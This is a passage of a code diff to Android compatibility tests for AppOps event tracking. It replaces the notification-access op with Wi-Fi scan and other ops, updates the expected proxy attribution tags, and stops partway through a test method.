- <attribution android:tag="f9974" android:label="@string/dummyLabel" />
- <attribution android:tag="f9975" android:label="@string/dummyLabel" />
- <attribution android:tag="f9976" android:label="@string/dummyLabel" />
- <attribution android:tag="f9977" android:label="@string/dummyLabel" />
- <attribution android:tag="f9978" android:label="@string/dummyLabel" />
- <attribution android:tag="f9979" android:label="@string/dummyLabel" />
- <attribution android:tag="f9980" android:label="@string/dummyLabel" />
- <attribution android:tag="f9981" android:label="@string/dummyLabel" />
- <attribution android:tag="f9982" android:label="@string/dummyLabel" />
- <attribution android:tag="f9983" android:label="@string/dummyLabel" />
- <attribution android:tag="f9984" android:label="@string/dummyLabel" />
- <attribution android:tag="f9985" android:label="@string/dummyLabel" />
- <attribution android:tag="f9986" android:label="@string/dummyLabel" />
- <attribution android:tag="f9987" android:label="@string/dummyLabel" />
- <attribution android:tag="f9988" android:label="@string/dummyLabel" />
- <attribution android:tag="f9989" android:label="@string/dummyLabel" />
- <attribution android:tag="f9990" android:label="@string/dummyLabel" />
- <attribution android:tag="f9991" android:label="@string/dummyLabel" />
- <attribution android:tag="f9992" android:label="@string/dummyLabel" />
- <attribution android:tag="f9993" android:label="@string/dummyLabel" />
- <attribution android:tag="f9994" android:label="@string/dummyLabel" />
- <attribution android:tag="f9995" android:label="@string/dummyLabel" />
- <attribution android:tag="f9996" android:label="@string/dummyLabel" />
- <attribution android:tag="f9997" android:label="@string/dummyLabel" />
- <attribution android:tag="f9998" android:label="@string/dummyLabel" />
- <attribution android:tag="f9999" android:label="@string/dummyLabel" />
<attribution android:tag="toomany" android:label="@string/dummyLabel" />
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
index 41703a5..3538661 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
@@ -20,7 +20,7 @@
import android.app.AppOpsManager.MAX_PRIORITY_UID_STATE
import android.app.AppOpsManager.MIN_PRIORITY_UID_STATE
import android.app.AppOpsManager.MODE_ALLOWED
-import android.app.AppOpsManager.OPSTR_ACCESS_NOTIFICATIONS
+import android.app.AppOpsManager.OPSTR_WIFI_SCAN
import android.app.AppOpsManager.OP_FLAGS_ALL
import android.app.AppOpsManager.OP_FLAG_SELF
import android.app.AppOpsManager.OP_FLAG_TRUSTED_PROXIED
@@ -94,9 +94,9 @@
@Test
fun ensureCorrectOpStr() {
- appOpsManager.noteOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, null, null)
- val opEntry = getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!
- assertThat(opEntry.opStr).isEqualTo(OPSTR_ACCESS_NOTIFICATIONS)
+ appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
+ val opEntry = getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!
+ assertThat(opEntry.opStr).isEqualTo(OPSTR_WIFI_SCAN)
}
@Test
@@ -104,13 +104,13 @@
val before = System.currentTimeMillis()
// Start twice to also test switching uid state with nested starts running
- appOpsManager.startOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, null, null)
- appOpsManager.startOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, null, null)
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
val beforeUidChange = System.currentTimeMillis()
sleep(1)
- assertThat(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!
+ assertThat(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!
.getLastAccessTime(MAX_PRIORITY_UID_STATE, UID_STATE_TOP, OP_FLAGS_ALL))
.isIn(before..beforeUidChange)
@@ -120,23 +120,23 @@
eventually {
// The system remembers the time before and after the uid change as separate events
- assertThat(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!
+ assertThat(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!
.getLastAccessTime(UID_STATE_TOP + 1, MIN_PRIORITY_UID_STATE,
OP_FLAGS_ALL)).isAtLeast(beforeUidChange)
}
} finally {
- appOpsManager.finishOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, null)
- appOpsManager.finishOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, null)
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, null)
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, null)
}
}
@Test
fun noteWithAttributionAndCheckOpEntries() {
val before = System.currentTimeMillis()
- appOpsManager.noteOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
+ appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
val after = System.currentTimeMillis()
- val opEntry = getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!
+ val opEntry = getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!
val attributionOpEntry = opEntry.attributedOpEntries[TEST_ATTRIBUTION_TAG]!!
assertThat(attributionOpEntry.getLastAccessForegroundTime(OP_FLAG_SELF)).isIn(before..after)
@@ -181,13 +181,13 @@
assertThat(
runWithShellPermissionIdentity {
appOpsManager.noteOp(
- OPSTR_ACCESS_NOTIFICATIONS, uid, BACKGROUND_PACKAGE, TEST_ATTRIBUTION_TAG, null
+ OPSTR_WIFI_SCAN, uid, BACKGROUND_PACKAGE, TEST_ATTRIBUTION_TAG, null
)
}
).isEqualTo(AppOpsManager.MODE_ALLOWED)
val after = System.currentTimeMillis()
- val opEntry = getOpEntry(uid, BACKGROUND_PACKAGE, OPSTR_ACCESS_NOTIFICATIONS)!!
+ val opEntry = getOpEntry(uid, BACKGROUND_PACKAGE, OPSTR_WIFI_SCAN)!!
val attributionOpEntry = opEntry.attributedOpEntries[TEST_ATTRIBUTION_TAG]!!
assertThat(attributionOpEntry.getLastAccessBackgroundTime(OP_FLAG_SELF)).isIn(before..after)
@@ -230,9 +230,9 @@
// Using the shell identity causes a trusted proxy note
val afterTrusted = AtomicLong()
runWithShellPermissionIdentity {
- appOpsManager.noteProxyOp(OPSTR_ACCESS_NOTIFICATIONS, myPackage, myUid, null, null)
+ appOpsManager.noteProxyOp(OPSTR_WIFI_SCAN, myPackage, myUid, null, null)
afterTrusted.set(System.currentTimeMillis())
- appOpsManager.noteOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, null, null)
+ appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
}
// Make sure timestamps are distinct
@@ -240,7 +240,7 @@
val after = System.currentTimeMillis()
- val opEntry = getOpEntry(shellUid, SHELL_PACKAGE_NAME, OPSTR_ACCESS_NOTIFICATIONS)!!
+ val opEntry = getOpEntry(shellUid, SHELL_PACKAGE_NAME, OPSTR_WIFI_SCAN)!!
val attributionOpEntry = opEntry.attributedOpEntries[null]!!
assertThat(attributionOpEntry.getLastAccessTime(OP_FLAG_TRUSTED_PROXY))
@@ -262,17 +262,17 @@
@Test
fun noteForTwoAttributionsCheckOpEntries() {
val before = System.currentTimeMillis()
- appOpsManager.noteOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, firstTag, null)
+ appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, firstTag, null)
val afterFirst = System.currentTimeMillis()
// Make sure timestamps are distinct
sleep(1)
// self note
- appOpsManager.noteOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, secondTag, null)
+ appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, secondTag, null)
val after = System.currentTimeMillis()
- val opEntry = getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!
+ val opEntry = getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!
val firstAttributionOpEntry = opEntry.attributedOpEntries[firstTag]!!
val secondAttributionOpEntry = opEntry.attributedOpEntries[secondTag]!!
@@ -290,7 +290,7 @@
runWithShellPermissionIdentity {
context.createAttributionContext(firstTag)
.getSystemService(AppOpsManager::class.java)!!
- .noteProxyOp(OPSTR_ACCESS_NOTIFICATIONS, otherPkg, otherUid, null, null)
+ .noteProxyOp(OPSTR_WIFI_SCAN, otherPkg, otherUid, null, null)
}
// Make sure timestamps are distinct
@@ -299,9 +299,9 @@
// untrusted proxy note
context.createAttributionContext(secondTag)
.getSystemService(AppOpsManager::class.java)!!
- .noteProxyOp(OPSTR_ACCESS_NOTIFICATIONS, otherPkg, otherUid, null, null)
+ .noteProxyOp(OPSTR_WIFI_SCAN, otherPkg, otherUid, null, null)
- val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_ACCESS_NOTIFICATIONS)!!
+ val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!
val attributionOpEntry = opEntry.attributedOpEntries[null]!!
assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.packageName)
@@ -321,8 +321,9 @@
.isEqualTo(myUid)
assertThat(opEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.uid).isEqualTo(myUid)
+ // Expecting null instead of firstTag as the tag is not declared in other app (b/304983146)
assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.attributionTag)
- .isEqualTo(firstTag)
+ .isNull()
assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.attributionTag)
.isEqualTo(secondTag)
@@ -343,34 +344,36 @@
runWithShellPermissionIdentity {
firstAttrManager = context.createAttributionContext(firstTag)!!
.getSystemService(AppOpsManager::class.java)!!
- val start = firstAttrManager.startProxyOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS, otherUid, otherPkg,
+ val start = firstAttrManager.startProxyOpNoThrow(OPSTR_WIFI_SCAN, otherUid, otherPkg,
null, null)
assertThat(start).isEqualTo(MODE_ALLOWED)
sleep(1)
}
- with(getOpEntry(otherUid, otherPkg, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!) {
assertThat(attributedOpEntries[null]!!.isRunning).isTrue()
assertThat(attributedOpEntries[null]?.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)!!
.packageName).isEqualTo(SHELL_PACKAGE_NAME)
+ // Expecting null instead of firstTag as the tag is not declared in the
+ // other app (b/304983146)
assertThat(attributedOpEntries[null]?.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)!!
- .attributionTag).isEqualTo(firstTag)
+ .attributionTag).isNull()
assertThat(isRunning).isTrue()
}
- with(getOpEntry(shellUid, SHELL_PACKAGE_NAME, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(shellUid, SHELL_PACKAGE_NAME, OPSTR_WIFI_SCAN)!!) {
assertThat(attributedOpEntries[firstTag]!!.isRunning).isTrue()
assertThat(attributedOpEntries[firstTag]!!
.getLastProxyInfo(OP_FLAGS_ALL)).isNull()
}
runWithShellPermissionIdentity {
- firstAttrManager.finishProxyOp(OPSTR_ACCESS_NOTIFICATIONS, otherUid, otherPkg, null)
+ firstAttrManager.finishProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null)
}
sleep(1)
val afterTrusted = System.currentTimeMillis()
- val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_ACCESS_NOTIFICATIONS)!!
+ val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!
val attributionOpEntry = opEntry.attributedOpEntries[null]!!
assertThat(attributionOpEntry.isRunning).isFalse()
assertThat(opEntry.isRunning).isFalse()
@@ -384,8 +387,9 @@
.isEqualTo(shellUid)
assertThat(opEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.uid).isEqualTo(
shellUid)
+ // Expecting null instead of firstTag as the tag is not declared in other app (b/304983146)
assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.attributionTag)
- .isEqualTo(firstTag)
+ .isNull()
}
@AppModeFull(reason = "instant apps cannot see other packages")
@@ -398,25 +402,25 @@
// Untrusted proxy op
val secondAttrManager = context.createAttributionContext(secondTag)!!
.getSystemService(AppOpsManager::class.java)!!
- secondAttrManager.startProxyOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS, otherUid, otherPkg, null, null)
- with(getOpEntry(otherUid, otherPkg, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ secondAttrManager.startProxyOpNoThrow(OPSTR_WIFI_SCAN, otherUid, otherPkg, null, null)
+ with(getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!) {
assertThat(attributedOpEntries[null]?.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)!!
.packageName).isEqualTo(myPackage)
assertThat(attributedOpEntries[null]?.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)!!
.attributionTag).isEqualTo(secondTag)
}
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
assertThat(attributedOpEntries[secondTag]!!.isRunning).isTrue()
assertThat(attributedOpEntries[secondTag]!!
.getLastProxyInfo(OP_FLAGS_ALL)).isNull()
}
- secondAttrManager.finishProxyOp(OPSTR_ACCESS_NOTIFICATIONS, otherUid, otherPkg, null)
+ secondAttrManager.finishProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null)
sleep(1)
val afterUntrusted = System.currentTimeMillis()
- val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_ACCESS_NOTIFICATIONS)!!
+ val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!
val attributionOpEntry = opEntry.attributedOpEntries[null]!!
assertThat(attributionOpEntry.isRunning).isFalse()
@@ -442,28 +446,29 @@
runWithShellPermissionIdentity {
firstAttrManager = context.createAttributionContext(firstTag)!!
.getSystemService(AppOpsManager::class.java)!!
- val start = firstAttrManager.startProxyOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS, otherUid, otherPkg,
+ val start = firstAttrManager.startProxyOpNoThrow(OPSTR_WIFI_SCAN, otherUid, otherPkg,
null, null)
sleep(1)
- firstAttrManager.finishProxyOp(OPSTR_ACCESS_NOTIFICATIONS, otherUid, otherPkg, null)
+ firstAttrManager.finishProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null)
sleep(1)
}
// Untrusted proxy op
val secondAttrManager = context.createAttributionContext(secondTag)!!
.getSystemService(AppOpsManager::class.java)!!
- secondAttrManager.startProxyOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS, otherUid, otherPkg, null, null)
+ secondAttrManager.startProxyOpNoThrow(OPSTR_WIFI_SCAN, otherUid, otherPkg, null, null)
sleep(1)
- secondAttrManager.finishProxyOp(OPSTR_ACCESS_NOTIFICATIONS, otherUid, otherPkg, null)
+ secondAttrManager.finishProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null)
- val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_ACCESS_NOTIFICATIONS)!!
+ val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!
val attributionOpEntry = opEntry.attributedOpEntries[null]!!
assertThat(attributionOpEntry.isRunning).isFalse()
assertThat(opEntry.isRunning).isFalse()
+ // Expecting null instead of firstTag as the tag is not declared in other app (b/304983146)
assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.attributionTag)
- .isEqualTo(firstTag)
+ .isNull()
assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.attributionTag)
.isEqualTo(secondTag)
@@ -480,7 +485,7 @@
runWithShellPermissionIdentity {
firstAttrManager = context.createAttributionContext(firstTag)!!
.getSystemService(AppOpsManager::class.java)!!
- val start = firstAttrManager.startProxyOp(OPSTR_ACCESS_NOTIFICATIONS, Process.INVALID_UID,
+ val start = firstAttrManager.startProxyOp(OPSTR_WIFI_SCAN, Process.INVALID_UID,
otherPkg, null, null)
}
} catch (e: SecurityException) {
@@ -491,49 +496,49 @@
@Test
fun startStopMultipleOpsAndVerifyIsRunning() {
- appOpsManager.startOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, null, null)
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
assertThat(attributedOpEntries[null]!!.isRunning).isTrue()
attributedOpEntries[TEST_ATTRIBUTION_TAG]?.let { assertThat(it.isRunning).isFalse() }
assertThat(isRunning).isTrue()
}
- appOpsManager.startOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
assertThat(attributedOpEntries[null]!!.isRunning).isTrue()
assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!.isRunning).isTrue()
assertThat(isRunning).isTrue()
}
- appOpsManager.startOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
assertThat(attributedOpEntries[null]!!.isRunning).isTrue()
assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!.isRunning).isTrue()
assertThat(isRunning).isTrue()
}
- appOpsManager.finishOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, TEST_ATTRIBUTION_TAG)
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG)
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
assertThat(attributedOpEntries[null]!!.isRunning).isTrue()
assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!.isRunning).isTrue()
assertThat(isRunning).isTrue()
}
- appOpsManager.finishOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, TEST_ATTRIBUTION_TAG)
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG)
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
assertThat(attributedOpEntries[null]!!.isRunning).isTrue()
assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!.isRunning).isFalse()
assertThat(isRunning).isTrue()
}
- appOpsManager.finishOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, null)
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, null)
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
assertThat(attributedOpEntries[null]!!.isRunning).isFalse()
assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!.isRunning).isFalse()
assertThat(isRunning).isFalse()
@@ -543,10 +548,10 @@
@Test
fun startStopMultipleOpsAndVerifyLastAccess() {
val beforeNullAttributionStart = System.currentTimeMillis()
- appOpsManager.startOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, null, null)
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
val afterNullAttributionStart = System.currentTimeMillis()
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
assertThat(attributedOpEntries[null]!!.getLastAccessTime(OP_FLAGS_ALL))
.isIn(beforeNullAttributionStart..afterNullAttributionStart)
attributedOpEntries[TEST_ATTRIBUTION_TAG]?.let {
@@ -557,10 +562,10 @@
}
val beforeFirstAttributionStart = System.currentTimeMillis()
- appOpsManager.startOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
val afterFirstAttributionStart = System.currentTimeMillis()
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
assertThat(attributedOpEntries[null]!!.getLastAccessTime(OP_FLAGS_ALL))
.isIn(beforeNullAttributionStart..afterNullAttributionStart)
assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!.getLastAccessTime(OP_FLAGS_ALL))
@@ -569,10 +574,10 @@
.isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
}
- appOpsManager.startOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
// Nested startOps do _not_ count as another access
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
assertThat(attributedOpEntries[null]!!.getLastAccessTime(OP_FLAGS_ALL))
.isIn(beforeNullAttributionStart..afterNullAttributionStart)
assertThat(attributedOpEntries[TEST_ATTRIBUTION_TAG]!!.getLastAccessTime(OP_FLAGS_ALL))
@@ -581,20 +586,20 @@
.isIn(beforeFirstAttributionStart..afterFirstAttributionStart)
}
- appOpsManager.finishOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, TEST_ATTRIBUTION_TAG)
- appOpsManager.finishOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, TEST_ATTRIBUTION_TAG)
- appOpsManager.finishOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, null)
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG)
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG)
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, null)
}
@Test
fun startStopMultipleOpsAndVerifyDuration() {
val beforeNullAttrStart = SystemClock.elapsedRealtime()
- appOpsManager.startOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, null, null)
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, null, null)
val afterNullAttrStart = SystemClock.elapsedRealtime()
run {
val beforeGetOp = SystemClock.elapsedRealtime()
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
val afterGetOp = SystemClock.elapsedRealtime()
assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
@@ -605,12 +610,12 @@
}
val beforeAttrStart = SystemClock.elapsedRealtime()
- appOpsManager.startOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
val afterAttrStart = SystemClock.elapsedRealtime()
run {
val beforeGetOp = SystemClock.elapsedRealtime()
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
val afterGetOp = SystemClock.elapsedRealtime()
assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
@@ -625,13 +630,13 @@
}
}
- appOpsManager.startOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
+ appOpsManager.startOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG, null)
// Nested startOps do _not_ start another duration counting, hence the nested
// startOp and finishOp calls have no affect
run {
val beforeGetOp = SystemClock.elapsedRealtime()
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
val afterGetOp = SystemClock.elapsedRealtime()
assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
@@ -644,11 +649,11 @@
}
}
- appOpsManager.finishOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, TEST_ATTRIBUTION_TAG)
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG)
run {
val beforeGetOp = SystemClock.elapsedRealtime()
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
val afterGetOp = SystemClock.elapsedRealtime()
assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
@@ -662,13 +667,13 @@
}
val beforeAttrStop = SystemClock.elapsedRealtime()
- appOpsManager.finishOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, TEST_ATTRIBUTION_TAG)
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, TEST_ATTRIBUTION_TAG)
sleep(1)
val afterAttrStop = SystemClock.elapsedRealtime()
run {
val beforeGetOp = SystemClock.elapsedRealtime()
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
val afterGetOp = SystemClock.elapsedRealtime()
assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
@@ -682,10 +687,10 @@
}
val beforeNullAttrStop = SystemClock.elapsedRealtime()
- appOpsManager.finishOp(OPSTR_ACCESS_NOTIFICATIONS, myUid, myPackage, null)
+ appOpsManager.finishOp(OPSTR_WIFI_SCAN, myUid, myPackage, null)
val afterNullAttrStop = SystemClock.elapsedRealtime()
- with(getOpEntry(myUid, myPackage, OPSTR_ACCESS_NOTIFICATIONS)!!) {
+ with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
assertThat(attributedOpEntries[null]!!.getLastDuration(OP_FLAGS_ALL))
.isIn(beforeNullAttrStop -
afterNullAttrStart..afterNullAttrStop - beforeNullAttrStart)
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
index ab7454a..65fba28 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
@@ -22,13 +22,15 @@
import android.app.AppOpsManager.MODE_DEFAULT
import android.app.AppOpsManager.MODE_ERRORED
import android.app.AppOpsManager.MODE_IGNORED
-import android.app.AppOpsManager.OPSTR_ACCESS_NOTIFICATIONS
import android.app.AppOpsManager.OPSTR_ACCESS_RESTRICTED_SETTINGS
+import android.app.AppOpsManager.OPSTR_FINE_LOCATION
import android.app.AppOpsManager.OPSTR_PHONE_CALL_CAMERA
import android.app.AppOpsManager.OPSTR_PHONE_CALL_MICROPHONE
import android.app.AppOpsManager.OPSTR_PICTURE_IN_PICTURE
-import android.app.AppOpsManager.OPSTR_VIBRATE
+import android.app.AppOpsManager.OPSTR_READ_CALENDAR
+import android.app.AppOpsManager.OPSTR_RECORD_AUDIO
import android.app.AppOpsManager.OPSTR_WIFI_SCAN
+import android.app.AppOpsManager.OPSTR_WRITE_CALENDAR
import android.app.AppOpsManager.OnOpChangedListener
import android.content.Context
import android.content.pm.PackageManager
@@ -40,6 +42,8 @@
import androidx.test.runner.AndroidJUnit4
import com.android.compatibility.common.util.PollingCheck
import com.google.common.truth.Truth.assertThat
+import java.util.HashMap
+import java.util.HashSet
import java.util.concurrent.CompletableFuture
import java.util.concurrent.Executor
import java.util.concurrent.LinkedBlockingDeque
@@ -164,48 +168,48 @@
@Test
fun testNoteOpAndCheckOp() {
- setOpMode(mOpPackageName, OPSTR_ACCESS_NOTIFICATIONS, MODE_ALLOWED)
- assertEquals(MODE_ALLOWED, mAppOps.noteOp(OPSTR_ACCESS_NOTIFICATIONS,
+ setOpMode(mOpPackageName, OPSTR_WRITE_CALENDAR, MODE_ALLOWED)
+ assertEquals(MODE_ALLOWED, mAppOps.noteOp(OPSTR_WRITE_CALENDAR,
Process.myUid(), mOpPackageName))
- assertEquals(MODE_ALLOWED, mAppOps.noteOpNoThrow(OPSTR_ACCESS_NOTIFICATIONS,
+ assertEquals(MODE_ALLOWED, mAppOps.noteOpNoThrow(OPSTR_WRITE_CALENDAR,
